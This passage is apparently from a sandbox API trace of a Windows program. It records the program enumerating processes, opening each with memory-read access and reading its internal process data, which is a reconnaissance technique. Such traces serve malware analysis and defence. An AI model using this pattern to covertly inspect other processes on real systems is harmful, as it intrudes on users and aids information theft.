lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.070] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.070] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.070] malloc (_Size=0x64) returned 0xeb61c0 [0349.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb61c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0349.071] free (_Block=0xeb61c0) [0349.071] CloseHandle (hObject=0xa9c) returned 1 [0349.071] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0349.072] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0349.072] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.072] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.073] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0349.073] GetLastError () returned 0x0 [0349.073] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.074] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.075] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.075] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.076] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.076] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.076] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.077] malloc (_Size=0x11a) returned 0xe76040 [0349.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xe76040, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe76040*, lpNumberOfBytesRead=0x0) returned 1 [0349.078] free (_Block=0xe76040) [0349.078] CloseHandle (hObject=0xa9c) returned 1 [0349.079] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0349.079] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0349.079] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.079] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.080] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0349.080] GetLastError () returned 0x0 [0349.080] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.080] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.080] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.081] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.081] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.082] malloc (_Size=0x64) returned 0xeb62a0 [0349.082] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb62a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.082] free (_Block=0xeb62a0) [0349.082] CloseHandle (hObject=0xa9c) returned 1 [0349.082] _ui64tow_s (in: _Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0349.083] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0349.084] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.084] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0xa9c [0349.085] GetLastError () returned 0x0 [0349.086] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.086] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.086] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.086] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.086] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.086] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.087] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.087] malloc (_Size=0x64) returned 0xeb6700 [0349.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb6700, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0349.088] free (_Block=0xeb6700) [0349.088] CloseHandle (hObject=0xa9c) returned 1 [0349.088] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0349.088] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0349.088] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.088] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.089] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0349.090] GetLastError () returned 0x0 [0349.090] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.090] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.090] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.090] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.090] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.090] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.091] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.091] malloc (_Size=0x8c) returned 0xec7ca0 [0349.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7ca0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ca0*, lpNumberOfBytesRead=0x0) returned 1 [0349.092] free (_Block=0xec7ca0) [0349.092] CloseHandle (hObject=0xa9c) returned 1 [0349.092] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0349.092] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0349.092] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.092] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.093] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0349.094] GetLastError () returned 0x0 [0349.094] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.094] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.094] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.094] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.094] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.094] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.095] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.095] malloc (_Size=0x2c) returned 0xe71d70 [0349.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe71d70, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71d70*, lpNumberOfBytesRead=0x0) returned 1 [0349.096] free (_Block=0xe71d70) [0349.096] CloseHandle (hObject=0xa9c) returned 1 [0349.096] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0349.096] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0349.097] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.097] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.098] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0349.098] GetLastError () returned 0x0 [0349.098] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.099] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.099] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.099] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.099] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.099] malloc (_Size=0x60) returned 0xeb6380 [0349.099] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb6380, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0349.100] free (_Block=0xeb6380) [0349.101] CloseHandle (hObject=0xa9c) returned 1 [0349.103] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0349.103] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0349.103] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.103] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0349.105] CloseHandle (hObject=0x0) returned 0 [0349.105] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0349.105] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0349.105] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.105] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.106] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0349.106] GetLastError () returned 0x0 [0349.106] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.106] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.107] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.107] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.107] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.107] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.107] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.107] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.108] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.108] malloc (_Size=0x70) returned 0xea96a0 [0349.108] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea96a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.109] free (_Block=0xea96a0) [0349.109] CloseHandle (hObject=0xa9c) returned 1 [0349.109] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0349.110] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0349.110] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.110] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | 